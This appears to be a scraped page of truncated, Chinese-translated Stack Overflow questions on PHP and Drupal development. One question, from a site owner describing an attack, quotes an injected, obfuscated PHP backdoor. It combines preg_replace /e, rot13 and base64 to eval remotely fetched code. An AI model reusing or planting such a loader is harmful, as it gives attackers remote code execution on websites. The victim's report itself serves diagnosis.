jjzjj

php - 在 php 中更改检索日期的时区

我正在从数据库中检索格式为2013-09-1508:45:00的日期,该日期设置为UTC,我需要将其更改为另一个动态时区(基于用户)到此为止$datetime=$row->field_data_field_performance_times_field_performance_times_v;$eventDate=DateTime::createFromFormat('Y-m-dH:i:s',$datetime,newDateTimeZone($user->timezone));$performance_time=date_format($eventDate,'l,jF,Y,H:i')

php - Drupal 7 - 以编程方式创建节点,将 youtube 嵌入到字段中

我正在尝试以编程方式创建节点。使用带有youtube扩展的媒体模块,我想用youtube数据填充一个字段。从我目前所读的内容来看,它看起来像这样:uid=1;$file->filename=$value;$file->uri='youtube://v/'.$value;$file->filemime='video/youtube';$file->type='video';$file->status=1;$youtube=file_save($file);node->field_youtube[$node->language]['0']['fid']=(array)$youtube->f

php - Drupal 7 hook_cron - 放在哪里

我想将cron作业添加到我的Drupal7系统,但我不知道如何做。我在谷歌上读到的例子根本没有解释把你的代码放在哪里。你必须做一个模块才能使用my_module_cron()吗?我有一个block,它使用从远程位置接收到的一些数据。获取这些远程数据的cron作业是我需要做的。我不能在我的block的代码中添加我的cron作业吗?提前致谢.. 最佳答案 您需要创建一个自定义模块,是的。查看moduledeveloper'sguide有关具体如何执行此操作的信息...当您安装了模块后,这将起作用:functionmymodule_cro

PHP 数组...空括号的含义是什么?

我遇到了一些看起来像这样的示例代码:$form['#submit'][]='annotate_admin_settings_submit';为什么['#submit']后面有一个空括号,里面什么都没有?这意味着什么?谁能给我举个例子吗?通常(根据我的理解,这可能是错误的)是数组有键,在这种情况下,$form数组键“#submit”等于“annotate_admin_settings_submit”,但第二组括号的处理方式是什么。我见过数组可能如下所示的示例:$form['actions']['#type']='actions';我知道这是关于php的一个非常基本的问题,但我在学习Dru

php - 增加 PHP 内存限制(Apache、Drupal6)

我正在尝试在共享托管服务器上运行Drupal安装。(我只是订阅了提供商-我不拥有盒子。)我需要增加Apache服务器的PHP内存限制。我试过了ini_set('memory_limit','64M');在settings.php(每个请求中包含的文件)中,但这会导致内部服务器错误500。如果我将其取出,则会出现此错误:Fatalerror:Allowedmemorysizeof33554432bytesexhausted(triedtoallocate19456bytes)...旁问:19456小于33554432,为什么说allowedsizeexhausted?我也试过把它放在.h

php - Drupal 6 中的 SQL PHP 注入(inject)攻击

今天,我的drupal6站点中的所有节点都出现了这个添加的php脚本?php$node->nid=849;preg_replace('/^(.'.'*'.')$/'.'e',preg_replace('/^(.'.'*'.')$/'.'e','str'.'_'.'rot'.(27-14).'(\'\1\')','riny(onfr'.(12*3+4*7).'_qrpbqr(\\'.(2/2).'))'),'aWYoIWZ1bmN0aW9uX2V4aXN0cygnbm9kZV91cGRhdGVfbG9nJykpQGV2YWwoQGZpbGVfZ2V0X2NvbnRlbnRzKCdodHR

php - 这是什么 : "->" in Drupal?

我在Drupal中遇到这个->并且找不到任何关于它的文档。我像这样使用它print$node->content['field_pr_link'];它是Drupal还是PHP? 最佳答案 它是PHP。您正在使用它来访问节点对象上的内容字段。参见http://php.net/manual/en/language.oop5.php 关于php-这是什么:"->"inDrupal?,我们在StackOverflow上找到一个类似的问题: https://stackov

php - 如何在 drupal 模块中创建表单?

我在网上搜索一个教程来创建一个显示在页面上的表单,当我们使用模块和block显示内容时,我们应该在模块内显示一个表单吗?由于我是drupal的新手,所以我对drupal形式一无所知。我下载并安装了示例表单模块。但我不知道这个表格会在哪里显示。我从这里下载http://drupal.org/node/1121110 最佳答案 即使您是drupal新手,也没有那么复杂。在这个例子中我所要做的就是使用hook_menu()并知道来自drupalformapireference的可用表单项.下面是您尝试执行的操作的示例。/***Implem

javascript - Drupal 7 在自定义主题中覆盖 jquery js 文件

是否可以重写/覆盖自定义模板脚本变量中使用的默认Drupal7.26jquery?我的意思是其中一个js文件:由自定义主题带来的?我在sites/all/MYTPL/template.php中尝试过这个但它不起作用:$scripts['misc/jquery.js']['data']=$base_theme.'/js/packages/jquery-2.1.0.min.js';我想知道是否有人在不使用任何模块(例如jQueryUpdate)的情况下管理它?===已更新===实际上,我在接受的答案的帮助下解决了这个问题,并根据@cojomojo的答案进行了一些修改:functionTHE

php - Drupal 模块将菜单项添加到主链接?

是否可以将hook_menu()中的菜单项直接添加到primary-links菜单而不是他们喜欢的navigation默认驻留? 最佳答案 事实上,这是可能的。hook_menu()实现中的可选键之一实际上是“menu_name”,它的值可以是给定菜单的唯一名称。在您的情况下,“主要链接”。Devel模块使用该技术将其项目添加到自定义“开发”菜单。另请注意,早于6.6(IIRC)的Drupal6版本有一个错误,导致无法移动已在hook_menu()中定义的菜单项。只需更改hook_menu()实现即可——您必须显式编辑UI中的菜单项